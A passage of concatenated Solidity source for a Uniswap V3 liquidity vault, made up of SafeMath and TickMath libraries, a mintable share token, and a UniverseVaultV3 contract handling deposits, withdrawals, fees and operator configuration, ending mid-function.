* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(int256(MAX_TICK)), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import '../interfaces/ERC20.sol';
contract UToken is ERC20 {
address private _owner;
constructor(string memory _symbol, uint8 _decimals) ERC20(_symbol, _symbol, _decimals) {
_owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == _owner, 'Only Owner!');
_;
}
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
emit Mint(msg.sender, account, amount);
}
function burn(address account, uint256 value) external onlyOwner {
_burn(account, value);
emit Burn(msg.sender, account, value);
}
event Mint(address sender, address account, uint amount);
event Burn(address sender, address account, uint amount);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "../libraries/SafeERC20.sol";
import "../libraries/SafeMath.sol";
import "../libraries/Math.sol";
import "../libraries/FullMath.sol";
import "../libraries/FixedPoint96.sol";
import "../libraries/PoolAddress.sol";
import "../libraries/PositionHelperV3.sol";
import "../interfaces/IUniverseVaultV3.sol";
import "../interfaces/Ownable.sol";
import "../interfaces/IERC20.sol";
import "../interfaces/IUniswapV3Pool.sol";
import "./UToken.sol";
contract UniverseVaultV3 is IUniverseVaultV3, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SafeMath for uint128;
using PositionHelperV3 for PositionHelperV3.Position;
// Uni POOL
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
// Important Addresses
address immutable uniFactory;
address operator;
/// @inheritdoc IUniverseVaultV3
IERC20 public immutable override token0;
/// @inheritdoc IUniverseVaultV3
IERC20 public immutable override token1;
mapping(address => bool) poolMap;
// Core Params
address swapPool;
uint8 performanceFee;
/// @dev For Safety, maximum tick bias from decision
uint24 diffTick;
/// @dev Profit distribution ratio, 50%-150% param for rate of Token0
uint8 profitScale = 100;
/// @dev control maximum lost for the current position, prevent attack by price manipulate; param <= 1e5
uint32 safetyParam = 99700;
struct MaxShares {
uint256 maxToken0Amt;
uint256 maxToken1Amt;
uint256 maxSingeDepositAmt0;
uint256 maxSingeDepositAmt1;
}
/// @inheritdoc IUniverseVaultV3
MaxShares public override maxShares;
/// @dev Amount of Token0 & Token1 belongs to protocol
struct ProtocolFees {
uint128 fee0;
uint128 fee1;
}
/// @inheritdoc IUniverseVaultV3
ProtocolFees public override protocolFees;
/// @inheritdoc IUniverseVaultV3
PositionHelperV3.Position public override position;
/// @dev Share Token for Token0
UToken immutable uToken0;
/// @dev Share Token for Token1
UToken immutable uToken1;
/// @dev White list of contract address
mapping(address => bool) contractWhiteLists;
constructor(
address _uniFactory,
address _poolAddress,
address _operator,
address _swapPool,
uint8 _performanceFee,
uint24 _diffTick,
uint256 _maxToken0,
uint256 _maxToken1,
uint256 _maxSingeDepositAmt0,
uint256 _maxSingeDepositAmt1
) {
require(_uniFactory != address(0), 'set _uniFactory to the zero address');
require(_poolAddress != address(0), 'set _poolAddress to the zero address');
require(_operator != address(0), 'set _operator to the zero address');
require(_swapPool != address(0), 'set _swapPool to the zero address');
uniFactory = _uniFactory;
// pool info
IUniswapV3Pool pool = IUniswapV3Pool(_poolAddress);
IERC20 _token0 = IERC20(pool.token0());
IERC20 _token1 = IERC20(pool.token1());
poolMap[_poolAddress] = true;
// variable
operator = _operator;
swapPool = _swapPool;
if (_poolAddress != _swapPool) {
poolMap[_swapPool] = true;
}
performanceFee = _performanceFee;
diffTick = _diffTick;
// Share Token
uToken0 = new UToken(string(abi.encodePacked('U', _token0.symbol())), _token0.decimals());
uToken1 = new UToken(string(abi.encodePacked('U', _token1.symbol())), _token1.decimals());
token0 = _token0;
token1 = _token1;
// Control Param
maxShares = MaxShares({
maxToken0Amt : _maxToken0,
maxToken1Amt : _maxToken1,
maxSingeDepositAmt0 : _maxSingeDepositAmt0,
maxSingeDepositAmt1 : _maxSingeDepositAmt1
});
}
/* ========== MODIFIERS ========== */
/// @dev Only be called by the Operator
modifier onlyManager {
require(tx.origin == operator, "OM");
_;
}
/* ========== ONLY OWNER ========== */
/// @inheritdoc IVaultOwnerActions
function changeManager(address _operator) external override onlyOwner {
require(_operator != address(0), "ZERO ADDRESS");
operator = _operator;
emit ChangeManger(_operator);
}
/// @inheritdoc IVaultOwnerActions
function updateWhiteList(address _address, bool status) external override onlyOwner {
require(_address != address(0), "ar");
contractWhiteLists[_address] = status;
emit UpdateWhiteList(_address, status);
}
/// @inheritdoc IVaultOwnerActions
function withdrawPerformanceFee(address to) external override onlyOwner {
require(to != address(0), "ar");
ProtocolFees memory pf = protocolFees;
if(pf.fee0 > 1){
token0.transfer(to, pf.fee0 - 1);
pf.fee0 = 1;
}
if(pf.fee1 > 1){
token1.transfer(to, pf.fee1 - 1);
pf.fee1 = 1;
}
protocolFees = pf;
}
/* ========== PURE ========== */
function _min(uint256 x, uint256 y) internal pure returns (uint256 z) {
if (x > y) {
z = y;
} else {
z = x;
}
}
function _max(uint256 x, uint256 y) internal pure returns (uint256 z) {
if (x > y) {
z = x;
} else {
z = y;
}
}
function _toUint128(uint256 x) internal pure returns (uint128) {
assert(x <= type(uint128).max);
return uint128(x);
}
/// @dev Calculate totalValue on Token1
function netValueToken1(
uint256 amount0,
uint256 amount1,
uint256 priceX96
) internal pure returns (uint256 netValue) {
netValue = FullMath.mulDiv(amount0, priceX96, FixedPoint96.Q96).add(amount1);
}
/// @dev Get effective Tick Values
function tickRegulate(
int24 _lowerTick,
int24 _upperTick,
int24 tickSpacing
) internal pure returns (int24 lowerTick, int24 upperTick) {
lowerTick = PositionHelperV3._floor(_lowerTick, tickSpacing);
upperTick = PositionHelperV3._floor(_upperTick, tickSpacing);
require(_upperTick > _lowerTick, "Bad Ticks");
}
/// @dev amt * totalShare / totalAmt
function _quantityTransform(
uint256 newAmt,
uint256 totalShare,
uint256 totalAmt
) internal pure returns(uint256 newShare){
if (newAmt != 0) {
if (totalShare == 0) {
newShare = newAmt;
} else {
newShare = FullMath.mulDiv(newAmt, totalShare, totalAmt);
}
}
}
/* ========== VIEW ========== */
/// @dev 50% - 150%
function _changeProfitScale(uint8 _profitScale) internal {
if (_profitScale >= 50 && _profitScale <= 150) {
profitScale = _profitScale;
}
}
/// @dev Calculate UniswapV3 Pool Address
function _computeAddress(uint24 fee) internal view returns (address pool) {
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
uniFactory,
keccak256(abi.encode(address(token0), address(token1), fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
/// @dev Get the pool's balance of token0 Belong to the user
function _balance0() internal view returns (uint256) {
return token0.balanceOf(address(this)) - protocolFees.fee0;
}
/// @dev Get the pool's balance of token1 Belong to the user
function _balance1() internal view returns (uint256) {
return token1.balanceOf(address(this)) - protocolFees.fee1;
}
/// @dev Amount to Share. Make Sure All mint and burn after this
function _calcShare(
uint256 amount0Desired,
uint256 amount1Desired
) internal view returns (uint256 share0, uint256 share1, uint256 total0, uint256 total1) {
// read Current Status
(total0, total1, , ) = _getTotalAmounts(true);
uint256 ts0 = uToken0.totalSupply();
uint256 ts1 = uToken1.totalSupply();
share0 = _quantityTransform(amount0Desired, ts0, total0);
share1 = _quantityTransform(amount1Desired, ts1, total1);
}
/// @dev Share To Amount. Make Sure All mint and burn after this
function _calcBal(
uint256 share0,
uint256 share1
) internal view returns (
uint256 bal0,
uint256 bal1,
uint256 free0,
uint256 free1,
uint256 rate,
bool zeroBig
) {
uint256 total0;
uint256 total1;
// read Current Status
(total0, total1, free0, free1) = _getTotalAmounts(false);
// Calculate the amount to withdraw
bal0 = _quantityTransform(share0, total0, uToken0.totalSupply());
bal1 = _quantityTransform(share1, total1, uToken1.totalSupply());
// calc burn liq rate
uint256 rate0;
uint256 rate1;
if(bal0 > free0){
rate0 = FullMath.mulDiv(bal0.sub(free0), 1e5, total0.sub(free0));
}
if(bal1 > free1){
rate1 = FullMath.mulDiv(bal1.sub(free1), 1e5, total1.sub(free1));
}
if(rate0 >= rate1){
zeroBig = true;
}
rate = _max(rate0, rate1);
}
function _getTotalAmounts(bool forDeposit) internal view returns (
uint256 total0,
uint256 total1,
uint256 free0,
uint256 free1
) {
// read in memory
PositionHelperV3.Position memory pos = position;
free0 = _balance0();
free1 = _balance1();
total0 = free0;
total1 = free1;
if (pos.status) {
// get amount in Uniswap
(uint256 now0, uint256 now1) = pos._getTotalAmounts(performanceFee);
if(now0 > 0 || now1 > 0){ //
// profit distribution
uint256 priceX96 = _priceX96(pos.poolAddress);
(now0, now1) = _getTargetToken(pos.principal0, pos.principal1, now0, now1, priceX96, forDeposit);
// get Total
total0 = total0.add(now0);
total1 = total1.add(now1);
}
}
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function getTotalAmounts() external view override returns (
uint256 total0,
uint256 total1,
uint256 free0,
uint256 free1,
uint256 utilizationRate0,
uint256 utilizationRate1
) {
(total0, total1, free0, free1) = _getTotalAmounts(false);
if (total0 > 0) {utilizationRate0 = 1e5 - free0.mul(1e5).div(total0);}
if (total1 > 0) {utilizationRate1 = 1e5 - free1.mul(1e5).div(total1);}
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function getPNL() external view override returns (uint256 rate, uint256 param) {
param = safetyParam;
// read in memory
PositionHelperV3.Position memory pos = position;
if (pos.status) {
// total in v3
(uint256 total0, uint256 total1) = pos._getTotalAmounts(performanceFee);
// _priceX96
uint256 priceX96 = _priceX96(pos.poolAddress);
// calculate rate
uint256 start_nv = netValueToken1(pos.principal0, pos.principal1, priceX96);
uint256 end_nv = netValueToken1(total0, total1, priceX96);
rate = end_nv.mul(1e5).div(start_nv);
}
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend serving deposit
function getShares(
uint256 amount0Desired,
uint256 amount1Desired
) external view override returns (uint256 share0, uint256 share1) {
(share0, share1, , ) = _calcShare(amount0Desired, amount1Desired);
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend serving withdraw
function getBals(
uint256 share0,
uint256 share1
) external view override returns (uint256 amount0, uint256 amount1) {
(amount0, amount1, , , ,) = _calcBal(share0, share1);
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function getUserShares(address user) external view override returns (uint256 share0, uint256 share1) {
share0 = uToken0.balanceOf(user);
share1 = uToken1.balanceOf(user);
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function getUserBals(address user) external view override returns (uint256 amount0, uint256 amount1) {
uint256 share0 = uToken0.balanceOf(user);
uint256 share1 = uToken1.balanceOf(user);
(amount0, amount1, , , ,) = _calcBal(share0, share1);
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function totalShare0() external view override returns (uint256) {
return uToken0.totalSupply();
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Frontend
function totalShare1() external view override returns (uint256) {
return uToken1.totalSupply();
}
/* ========== INTERNAL ========== */
/// @dev if position out of range, don't add liquidity; Add liquidity, always update principal
/// @dev Make Sure pos.status is alwasy True | Always update the principals
function _addAll(PositionHelperV3.Position memory pos) internal {
// Read Fee Token Amount
uint256 add0 = _balance0();
uint256 add1 = _balance1();
if(add0 > 0 && add1 > 0){
// add liquidity
(add0, add1) = pos._addAll(add0, add1);
// increase principal
pos.principal0 = pos.principal0.add128(_toUint128(add0));
pos.principal1 = pos.principal1.add128(_toUint128(add1));
// update Status
pos.status = true;
}
// upadate position
position = pos;
}
/// @dev BurnAll Liquidity | CollectAll | Profit Distribution
function _stopAll() internal {
// burn all liquidity
(uint256 collect0, uint256 collect1, uint256 fee0, uint256 fee1) = position._burnAll();
// collect fee
(uint256 feesToProtocol0, uint256 feesToProtocol1) = _collectPerformanceFee(fee0, fee1);
_trim(collect0.sub(feesToProtocol0), collect1.sub(feesToProtocol1), 0, true);
}
/// @dev BurnPart Liquidity | CollectAll | Profit Distribution | Return Cost
function _stopPart(uint128 liq, bool withdrawZero) internal returns(int256 amtSelfDiff) {
// burn liquidity
(uint256 collect0, uint256 collect1, uint256 fee0, uint256 fee1) = position._burn(liq);
// collect fee
(uint256 feesToProtocol0, uint256 feesToProtocol1) = _collectPerformanceFee(fee0, fee1);
//
(amtSelfDiff) = _trim(collect0.sub(feesToProtocol0), collect1.sub(feesToProtocol1), liq, withdrawZero);
}
/// @dev Profit Distribution Based on Param
function _trim(
uint256 stop0,
uint256 stop1,
uint128 liq,
bool withdrawZero
) internal returns(int256 amtSelfDiff) {
if(stop0 == 0 && stop1 == 0) return (0); //
// read position in memory
PositionHelperV3.Position memory pos = position;
// calculate
uint256 priceX96 = _priceX96(pos.poolAddress);
uint256 start0 = pos.principal0;
uint256 start1 = pos.principal1;
if (liq != 0) { // Liquidate Part, Update Principal
(uint128 total_liq, , , , ) = pos._positionInfo();
start0 = FullMath.mulDiv(start0, liq, total_liq + liq);
start1 = FullMath.mulDiv(start1, liq, total_liq + liq);
pos.principal0 = pos.principal0 - _toUint128(start0);
pos.principal1 = pos.principal1 - _toUint128(start1);
position = pos;
}
(uint256 target0 , uint256 target1) = _getTargetToken(start0, start1, stop0, stop1, priceX96, false); // Use if always for withdraw
int256 amt;
bool zeroForOne;
if(withdrawZero) {
amt = int256(stop1) - int256(target1);
if (amt < 0) zeroForOne = true;
amtSelfDiff = int256(stop0) - int256(target0) ;
}else{
amt = int256(stop0) - int256(target0);
if (amt > 0) zeroForOne = true;
amtSelfDiff = int256(stop1) - int(target1) ;
}
if(amt != 0){
uint160 sqrtPriceLimitX96 = (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1);
(int256 amount0, int256 amount1) = IUniswapV3Pool(swapPool).swap(address(this), zeroForOne, amt, sqrtPriceLimitX96, '');
amtSelfDiff = amtSelfDiff - (withdrawZero ? amount0 : amount1);
}
}
/// @dev Profit Distribution Based on Param | Return target Amount after distribution
function _getTargetToken(
uint256 start0,
uint256 start1,
uint256 end0,
uint256 end1,
uint256 priceX96,
bool forDeposit
) internal view returns (uint256 target0, uint256 target1){
uint256 start_nv = netValueToken1(start0, start1, priceX96);
uint256 end_nv = netValueToken1(end0, end1, priceX96);
uint256 rate = end_nv.mul(1e5).div(start_nv);
// For safe when deposit
if (forDeposit && rate < safetyParam) {
rate = safetyParam;
}
// profit distribution
if (rate > 1e5 && profitScale != 100) {
rate = rate.sub(1e5).mul(profitScale).div(1e2).add(1e5);
target0 = FullMath.mulDiv(start0, rate, 1e5);
target1 = end_nv.sub(FullMath.mulDiv(target0, priceX96, FixedPoint96.Q96));
} else {
target0 = FullMath.mulDiv(start0, rate, 1e5);
target1 = FullMath.mulDiv(start1, rate, 1e5);
}
}
function _collectPerformanceFee(
uint256 feesFromPool0,
uint256 feesFromPool1
) internal returns (uint256 feesToProtocol0, uint256 feesToProtocol1){
uint256 rate = performanceFee;
if (rate != 0) {
ProtocolFees memory pf = protocolFees;
if (feesFromPool0 > 0) {
feesToProtocol0 = feesFromPool0.div(rate);
pf.fee0 = pf.fee0.add128(_toUint128(feesToProtocol0));
}
if (feesFromPool1 > 0) {
feesToProtocol1 = feesFromPool1.div(rate);
pf.fee1 = pf.fee1.add128(_toUint128(feesToProtocol1));
}
protocolFees = pf;
emit CollectFees(feesFromPool0, feesFromPool1);
}
}
function _priceX96(address poolAddress) internal view returns(uint256 priceX96){
(uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();
priceX96 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, FixedPoint96.Q96);
}
/// @dev Money From Msg.sender, Share to 'to'
function _deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
) internal returns(uint256 share0, uint256 share1) {
// Check Params
require(amount0Desired > 0 || amount1Desired > 0, "Deposit Zero!");
// Read Control Param
MaxShares memory _maxShares = maxShares;
require(amount0Desired <= _maxShares.maxSingeDepositAmt0 && amount1Desired <= _maxShares.maxSingeDepositAmt1, "Too Much Deposit!");
uint256 total0;
uint256 total1;
// Cal Share
(share0, share1, total0, total1) = _calcShare(amount0Desired, amount1Desired);
// check max share
require(total0.add(amount0Desired) <= _maxShares.maxToken0Amt
&& total1.add(amount1Desired) <= _maxShares.maxToken1Amt, "exceed total limit");
// transfer
if (amount0Desired > 0) token0.safeTransferFrom(msg.sender, address(this), amount0Desired);
if (amount1Desired > 0) token1.safeTransferFrom(msg.sender, address(this), amount1Desired);
// add share
if (share0 > 0) {
uToken0.mint(to, share0);
}
if (share1 > 0) {
uToken1.mint(to, share1);
}
// Invest All
if (position.status) {
_addAll(position);
}
// EVENT
emit Deposit(to, share0, share1, amount0Desired, amount1Desired);
}
/* ========== EXTERNAL ========== */
/// @inheritdoc IUniverseVaultV3
/// @dev For EOA and Contract User
function deposit(
uint256 amount0Desired,
uint256 amount1Desired
) external override returns(uint256, uint256) {
require(tx.origin == msg.sender || contractWhiteLists[msg.sender], "only for verified contract!");
return _deposit(amount0Desired, amount1Desired, msg.sender);
}
/// @inheritdoc IUniverseVaultV3
/// @dev For Router
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
) external override returns(uint256, uint256) {
require(contractWhiteLists[msg.sender], "only for verified contract!");
return _deposit(amount0Desired, amount1Desired, to);
}
/// @inheritdoc IUniverseVaultV3
function withdraw(uint256 share0, uint256 share1) external override returns(uint256, uint256){
require(share0 !=0 || share1 !=0, "Withdraw Zero Share!");
if (share0 > 0) {
share0 = _min(share0, uToken0.balanceOf(msg.sender));
}
if (share1 > 0) {
share1 = _min(share1, uToken1.balanceOf(msg.sender));
}
(uint256 withdraw0, uint256 withdraw1, , , uint256 rate, bool withdrawZero) = _calcBal(share0, share1);
// Burn
if (share0 > 0) {uToken0.burn(msg.sender, share0);}
if (share1 > 0) {uToken1.burn(msg.sender, share1);}
// swap
if (rate > 0 && position.status) {
(uint128 liq, , , , ) = position._positionInfo();
if (rate < 1e5) {liq = (liq * _toUint128(rate) / 1e5);}
// all fees related to transaction
(int256 amtSelfDiff) = _stopPart(liq, withdrawZero);
if(amtSelfDiff < 0){
if(withdrawZero){
withdraw0 = withdraw0.sub(uint(-amtSelfDiff));
}else{
withdraw1 = withdraw1.sub(uint(-amtSelfDiff));
}
}
}
if (withdraw0 > 0) {
withdraw0 = _min(withdraw0, _balance0());
token0.safeTransfer(msg.sender, withdraw0);
}
if (withdraw1 > 0) {
withdraw1 = _min(withdraw1, _balance1());
token1.safeTransfer(msg.sender, withdraw1);
}
emit Withdraw(msg.sender, share0, share1, withdraw0, withdraw1);
return (withdraw0, withdraw1);
}
/* ========== ONLY MANAGER ========== */
/// @inheritdoc IVaultOperatorActionsV3
function initPosition(
address _poolAddress,
int24 _lowerTick,
int24 _upperTick
) external override onlyManager {
require(poolMap[_poolAddress], 'add Pool First');
require(!position.status, 'position is working, cannot init!');
IUniswapV3Pool pool = IUniswapV3Pool(_poolAddress);
int24 tickSpacing = pool.tickSpacing();
(_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, tickSpacing);
position = PositionHelperV3.Position({
principal0 : 0,
principal1 : 0,
poolAddress : _poolAddress,
tickSpacing : tickSpacing,
lowerTick : _lowerTick,
upperTick : _upperTick,
status: true
});
}
/// @inheritdoc IVaultOperatorActionsV3
function addPool(uint24 _poolFee) external override onlyManager {
require(_poolFee == 3000 || _poolFee == 500 || _poolFee == 10000, "Wrong poolFee!");
address poolAddress = _computeAddress(_poolFee);
poolMap[poolAddress] = true;
}
/// @inheritdoc IVaultOperatorActionsV3
function changeConfig(
address _swapPool,
uint8 _performanceFee,
uint24 _diffTick,
uint32 _safetyParam
) external override onlyManager {
require(_performanceFee == 0 || _performanceFee > 4, "20Percent MAX!");
require(_safetyParam <= 1e5, 'Wrong safety param!');
if (_swapPool != address(0) && poolMap[_swapPool]) {swapPool = _swapPool;}
